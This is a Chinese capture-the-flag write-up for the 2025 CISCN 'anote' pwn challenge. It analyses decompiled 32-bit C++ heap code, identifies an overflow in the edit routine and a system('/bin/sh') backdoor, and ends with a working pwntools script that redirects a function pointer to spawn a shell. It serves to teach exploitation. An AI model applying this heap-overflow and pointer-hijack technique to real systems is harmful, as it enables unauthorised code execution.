2025ciscn&长城杯-pwn-anote

变种堆题

Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)

32 位,没开 PIE

奇怪的 menu 函数,ida 反编译失败,不过能看懂就行。

原程序显然是用 C++ 写的。

int __cdecl main(int a1)
{
  int v1; // ebx
  unsigned int i; // eax
  int v3; // eax
  int v4; // eax
  int v5; // ebx
  int v6; // eax
  int v7; // eax
  std::istream *v8; // eax
  int v9; // eax
  std::istream *v10; // eax
  int v12; // [esp-8h] [ebp-70h]
  int v13; // [esp-8h] [ebp-70h]
  int v14; // [esp-8h] [ebp-70h]
  int v15; // [esp-8h] [ebp-70h]
  int v16; // [esp-4h] [ebp-6Ch]
  int v17; // [esp-4h] [ebp-6Ch]
  int v18; // [esp-4h] [ebp-6Ch]
  int v19; // [esp-4h] [ebp-6Ch]
  int current_index; // [esp+0h] [ebp-68h] BYREF
  size_t n; // [esp+4h] [ebp-64h] BYREF
  int op; // [esp+8h] [ebp-60h] BYREF
  int chunk_n; // [esp+Ch] [ebp-5Ch]
  int v24; // [esp+10h] [ebp-58h]
  int v25; // [esp+14h] [ebp-54h]
  int v26; // [esp+18h] [ebp-50h]
  int v27; // [esp+1Ch] [ebp-4Ch]
  int v28; // [esp+20h] [ebp-48h]
  int v29; // [esp+24h] [ebp-44h]
  int v30; // [esp+28h] [ebp-40h]
  int v31; // [esp+2Ch] [ebp-3Ch]
  int v32; // [esp+30h] [ebp-38h]
  int v33; // [esp+34h] [ebp-34h]
  int v34; // [esp+38h] [ebp-30h]
  int src; // [esp+3Ch] [ebp-2Ch] BYREF
  int v36; // [esp+40h] [ebp-28h]
  int v37; // [esp+44h] [ebp-24h]
  int v38; // [esp+48h] [ebp-20h]
  int v39; // [esp+4Ch] [ebp-1Ch]
  unsigned int v40; // [esp+5Ch] [ebp-Ch]
  int *v41; // [esp+60h] [ebp-8h]

  v41 = &a1;
  v40 = __readgsdword(0x14u);
  chunk_n = 0;
  v24 = 10;
  while ( 1 )
  {
    menu();
    if ( chunk_n > 9 )                          // 检查堆块数量
      break;
    std::istream::operator>>(&std::cin, &op);   // 读入 op
    if ( op == 2 )                              // show content
    {
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "index: ",
        v12,
        v16,
        current_index,
        n,
        2,
        chunk_n,
        v24,
        v25,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        src,
        v36,
        v37,
        v38,
        v39);
      std::istream::operator>>(&std::cin, &current_index);
      if ( current_index >= chunk_n )           // 输入的堆块编号大于已有堆块数
      {
        v4 = std::operator<<<std::char_traits<char>>(
               &std::cout,
               "the item does not exist.",
               v13,
               v17,
               current_index,
               n,
               op,
               chunk_n,
               v24,
               v25,
               v26,
               v27,
               v28,
               v29,
               v30,
               v31,
               v32,
               v33,
               v34,
               src,
               v36,
               v37,
               v38,
               v39);
        std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
        exit(0);
      }
      v5 = *(&v25 + current_index);
      v6 = std::operator<<<std::char_traits<char>>(
             &std::cout,
             "gift: ",                          // 运行程序知:gift 是堆块地址
             v13,
             v17,
             current_index,
             n,
             op,
             chunk_n,
             v24,
             v25,
             v26,
             v27,
             v28,
             v29,
             v30,
             v31,
             v32,
             v33,
             v34,
             src,
             v36,
             v37,
             v38,
             v39);
      v7 = std::ostream::operator<<(v6, v5);
      std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
      sub_80489E8(*(&v25 + current_index));
    }
    else if ( op == 3 )                         // edit content
    {
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "index: ",
        v12,
        v16,
        current_index,
        n,
        3,
        chunk_n,
        v24,
        v25,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        src,
        v36,
        v37,
        v38,
        v39);
      v8 = (std::istream *)std::istream::operator>>(&std::cin, &current_index);
      std::istream::get(v8);
      if ( current_index >= chunk_n )
      {
        v9 = std::operator<<<std::char_traits<char>>(
               &std::cout,
               "the item does not exist.",
               v14,
               v18,
               current_index,
               n,
               op,
               chunk_n,
               v24,
               v25,
               v26,
               v27,
               v28,
               v29,
               v30,
               v31,
               v32,
               v33,
               v34,
               src,
               v36,
               v37,
               v38,
               v39);
        std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
        exit(0);
      }
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "len: ",
        v14,
        v18,
        current_index,
        n,
        op,
        chunk_n,
        v24,
        v25,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        src,
        v36,
        v37,
        v38,
        v39);
      v10 = (std::istream *)std::istream::operator>>(&std::cin, &n);// 读入edit内容的长度
      std::istream::get(v10);
      if ( (int)n > 40 )
      {
        std::operator<<<std::char_traits<char>>(
          &std::cout,
          "too big!\n",                         // >40 太长了
          v15,
          v19,
          current_index,
          n,
          op,
          chunk_n,
          v24,
          v25,
          v26,
          v27,
          v28,
          v29,
          v30,
          v31,
          v32,
          v33,
          v34,
          src,
          v36,
          v37,
          v38,
          v39);
        exit(0);
      }
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "content: ",
        v15,
        v19,
        current_index,
        n,
        op,
        chunk_n,
        v24,
        v25,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        src,
        v36,
        v37,
        v38,
        v39);
      std::istream::getline((std::istream *)&std::cin, (char *)&src, 32);// 读入edit内容,漏洞点:这里允许读取32个字符(含末位\0)
      edit(*(&v25 + current_index), &src, current_index, n);// 复制输入的内容到堆块中
      (**(void (__cdecl ***)(_DWORD))*(&v25 + current_index))(*(&v25 + current_index));// 函数执行点位,只要让它能执行到backdoor函数就完事了
    }
    else
    {
      if ( op != 1 )
        exit(0);
      v1 = operator new(0x1Cu);                 // 分配 0x1c 字节的堆块(实际 0x2c)
      for ( i = 0; i < 0x1C; i += 4 )
        *(_DWORD *)(v1 + i) = 0;                // 清空
      sub_8048DFC(v1);                          // 堆块头部分指定为0x8048F48这个地址
      v3 = chunk_n++;                           // 将chunk_n的当前值赋值给v3,然后将chunk_n递增
      *(&v25 + v3) = v1;                        // v25是一个记录堆块地址的数组,先移动v3,再记录当前堆块的地址
      std::operator<<<std::char_traits<char>>(
        &std::cout,
        "got new one!\n",                       // 添加新堆块
        v12,
        v16,
        current_index,
        n,
        op,
        chunk_n,
        v24,
        v25,
        v26,
        v27,
        v28,
        v29,
        v30,
        v31,
        v32,
        v33,
        v34,
        src,
        v36,
        v37,
        v38,
        v39);
    }
  }
  std::operator<<<std::char_traits<char>>(
    &std::cout,
    "too much!!!\n",
    v12,
    v16,
    current_index,
    n,
    op,
    chunk_n,
    v24,
    v25,
    v26,
    v27,
    v28,
    v29,
    v30,
    v31,
    v32,
    v33,
    v34,
    src,
    v36,
    v37,
    v38,
    v39);
  return 0;
}

C++ 反编译过来的代码看上去非常丑陋,但有用的就那么几句话。

shift + f12 看到 /bin/sh, 接着找到后门函数

int sub_80489CE()
{
  return system("/bin/sh");
}

目标:通过堆溢出使指针指向后门函数从而获取 shell.

我们来分析一下这句话:

(**(void (__cdecl ***)(_DWORD))*(&v25 + current_index))(*(&v25 + current_index));

显然通过分析知道 (&v25 + current_index) 就是当前指定堆块的地址,我们把它暂且记为 addr。一个 * 就是一次解引用, (void (__cdecl ***)(_DWORD)) 做了一次强制类型转换,这里可以先忽视它。那么我们可以把上面这句话简化为:

(***addr)(*addr);

也就是调用以 addr 指向的值指向的值指向的值(乐)作为函数开始地址的函数,并且以 addr 所指向的值作为参数。

那么目标就是:1. 先在指定堆块的地址处填写一个地址 A(=*addr);2. 在 A 指向的地址处填写后门函数地址backdoor(=*A=**addr);3.调用 edit,触发这条语句(*backdoor()=***addr()),程序即会执行后门函数,获取shell.

因此我们需要搞个地方做中转,显然,我们已经知道堆块的地址,只需开两个堆块,在第一个堆块中填写后门地址,并篡改第二个堆块的内容(由于存在堆溢出漏洞我们可以在修改堆块1时修改到堆块2)使其 edit 时跳转到第一个堆块中存放后门地址的位置,这样就能执行到后门函数了。

from pwn import *

io = process('./note')

context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

gdb.attach(io)

def cmd(idx):
    io.sendlineafter(b"Choice>>", str(idx).encode())

def edit(idx, len, data):
    cmd(3)
    io.sendlineafter(b"index: ", str(idx).encode())
    io.sendlineafter(b"len: ", str(len).encode())
    io.sendlineafter(b'content: ', data)

def show(idx):
    cmd(2)
    io.sendlineafter(b"index: ", str(idx).encode())

backdoor = 0x80489CE

cmd(1)
cmd(1)
show(0)
io.recvuntil(b'gift: ')
chunk_addr = int(io.recvuntil(b'\n', drop=True), 16) # drop=True 代表不要包含 \n
# 注意:动调可知 gift 给的是堆块内容开始的地址,不是堆块头开始的地址;而 edit 开始的地址在"堆块内容地址 + 0x8"的位置
payload = flat(
    backdoor,
    b'a' * 0x14,
    chunk_addr + 0x8
)
edit(0, 0x28, payload)
edit(1, 1, b'a')

io.interactive()
上一篇
下一篇